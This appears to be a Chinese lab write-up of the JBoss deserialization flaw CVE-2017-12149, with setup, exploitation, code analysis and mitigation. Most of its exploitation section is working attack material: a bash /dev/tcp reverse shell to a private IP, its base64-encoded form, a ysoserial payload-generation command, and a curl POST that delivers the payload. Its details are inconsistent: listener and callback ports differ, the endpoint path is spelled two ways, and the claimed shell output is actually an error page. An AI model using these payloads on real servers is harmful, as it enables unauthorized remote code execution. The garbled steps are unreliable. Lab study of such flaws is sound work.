

JBoss 5.x/6.x 反序列化漏洞 (CVE-2017-12149)

漏洞详情

这是经典的JBoss反序列化漏洞，JBoss在 `/invoker/JMXInvokerServlet` 请求中读取了用户传入的对象，然后我们利用Apache Commons Collections中的Gadget执行任意代码。

该漏洞为Java反序列化错误类型，存在于Jboss的HttpInvoker组件中的ReadOnlyAccessFilter过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化，从而导致了漏洞。

环境搭建

```
cd jboss/CVE-2017-12149
docker-compose up -d
```


首次执行时会有1~3分钟时间初始化，初始化完成后访问 `http://your-ip:8080/` 即可看到JBoss默认页面

漏洞复现

该漏洞出现在 `/invoker/readonly` 请求中，服务器将用户提交的POST内容进行了Java反序列化：

```
}
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
    throws IOException, ServletException
{
    HttpServletRequest httpRequest = (HttpServletRequest)request;
    Principal user = httpRequest.getUserPrincipal();
    if ((user == null) && (this.readOnlyContext != null))
    {
        ServletInputStream sis = request.getInputStream();
        ObjectInputStream ois = new ObjectInputStream(sis);
        MarshalledInvocation mi = null;
        try
        {
            mi = (MarshalledInvocation)ois.readObject();
        }
        catch (ClassNotFoundException e)
        {
            throw new ServletException("Failed to read MarshalledInvocation", e);
        }
        request.setAttribute("MarshalledInvocation", mi);

        mi.setMethodMap(this.namingMethodMap);
        Method m = mi.getMethod();
        if (m != null) {
            validateAccess(m, mi);
        }
    }
    chain.doFilter(request, response);
}
```



所以，我们用常规Java反序列化漏洞测试方法来复现该漏洞。

编写反弹shell的命令

我们使用bash来反弹shell，但由于 `Runtime.getRuntime().exec()` 中不能使用管道符等bash需要的方法，我们需要用进行一次编码。

工具: <http://www.jackson-t.ca/runtime-exec-payloads.html>

```
bash -i >& /dev/tcp/192.168.16.129/21 0>&1
```

```
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2LjEyOS8yMSAwPiYx}|{base64,-d}|{bash,-i}
```

```
bash -i >& /dev/tcp/本地监听IP/本地监听端口 0>&1
```

```
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2LjEyOS8yMSAwPiYx}|{base64,-d}|{bash,-i}
```

序列化数据生成

使用 [ysoserial](#) 来复现生成序列化数据，由于Vulhub使用的Java版本较新，所以选择使用的gadget是CommonsCollections5:

```
java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2LjEyOS8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser
```

发送POC

设置nc本地监听端口6666 `nc -l -p 6666`

将生成好的POC即为poc.ser，将这个文件作为POST Body发送至/invoke/readonly即可:

```
curl http://192.168.16.128:8080/invoke/readonly --data-binary @poc.ser
```

成功反弹回shell

```
root@kali: ~/桌面/Tools
文件(F) 编辑(E) 标签(T) 帮助(H)

thodAccessorImpl.java:39)
    sun.reflect.DelegatingMethodAccessImpl.java:25)
    java.lang.reflect.Method.invoke(
    java.io.ObjectStreamClass.invoke(
    java.io.ObjectInputStream.read(
    java.io.ObjectInputStream.read(
    java.io.ObjectInputStream.read(
    java.io.ObjectInputStream.read(
    java.io.ObjectInputStream.read(
    org.jboss.invocation.http.server.doFilter(ReadOnlyAccessFilter.java
</pre></p><p><b>note</b> <u>The full
cause is available in the JBoss Web
<HR size="1" noshade="noshade"><h3>JB
/body></html>root@kali:~/桌面/Tools#
```

漏洞分析

漏洞出现在 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中，源码在 jboss\server\all\deploy\httpha-invoker.sar\invoker.war\WEB-INF\classes\org\jboss\invocation\http\servlet 目录下的 ReadOnlyAccessFilter.class 文件中，其中 doFilter 函数代码如下：

```

public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain)
    throws IOException, ServletException
{
    HttpServletRequest httpRequest = (HttpServletRequest)request;
    Principal user = httpRequest.getUserPrincipal();
    if ((user == null) && (this.readOnlyContext != null))
    {
        ServletInputStream sis = request.getInputStream();
        ObjectInputStream ois = new ObjectInputStream(sis);
        MarshalledInvocation mi = null;
        try
        {
            mi = (MarshalledInvocation)ois.readObject();
        }
        catch (ClassNotFoundException e)
        {
            throw new ServletException("Failed to read MarshalledInvocation", e);
        }
        request.setAttribute("MarshalledInvocation", mi);

        mi.setMethodMap(this.namingMethodMap);
        Method m = mi.getMethod();
        if (m != null) {
            validateAccess(m, mi);
        }
    }
}

```

```
chain.doFilter(request, response);  
}
```

直接从http中获取数据，在没有进行检查或者过滤的情况下，尝试调用readobject()方法对数据流进行反序列化操作，因此产生了Java反序列化漏洞。

防御与修复

建议用户升级到JBoos最新版本

不能及时升级的用户，可采取如下临时解决方案：

- 不需要 http-invoker.sar 组件的用户可直接删除此组件。
- 添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中：`<url-pattern>/*`
`</url-pattern>`，用于对 http invoker 组件进行访问控制